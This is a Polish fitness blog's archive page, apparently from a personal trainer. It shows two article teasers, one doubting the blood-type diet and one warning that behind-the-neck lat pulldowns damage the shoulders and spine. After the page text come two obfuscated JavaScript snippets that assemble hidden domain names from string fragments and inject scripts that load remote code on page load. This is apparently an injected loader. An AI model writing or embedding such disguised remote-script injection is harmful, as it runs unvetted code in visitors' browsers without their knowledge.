kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 24 czerwca, 2025

Kategorie:

dieta na podstawie grupy krwi

Dieta grupy krwi pod lupą: Co mówią badania, a w co każe nam wierzyć internet?

24 czerwca, 2025

Dieta grupy krwi obiecuje zdrowie i idealną wagę dopasowane do Twojej unikalnej biologii. Ale czy za tą niezwykle popularną teorią stoją jakiekolwiek dowody naukowe? W tym artykule bierzemy pod lupę jej założenia, konfrontujemy je z najważniejszymi badaniami i wyjaśniamy, dlaczego ludzie realnie czują się na niej lepiej, nawet jeśli jej fundamenty są błędne. Oddziel fakty od fikcji.

Czytaj więcej >
Ściąganie drążka zza głowe do karku

Ściąganie drążka za głowę – prosta droga do bólu barków i problemów z kręgosłupem?

24 czerwca, 2025

Jeżeli ściąganie drążka za głowę wciąż znajduje się w Twoim planie treningowym, zatrzymaj się na chwilę. Jako trener, którego misją jest zapewnienie bezpieczeństwa i długoterminowych wyników, muszę Cię ostrzec. Każdy taki ruch to kumulowanie mikrourazów w stożku rotatorów i niepotrzebne obciążenie dla kręgów szyjnych. Ból jest tylko kwestią czasu. Zanim będzie za późno, przeczytaj ten artykuł i dowiedz się, dlaczego natychmiast powinieneś zastąpić to ćwiczenie.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();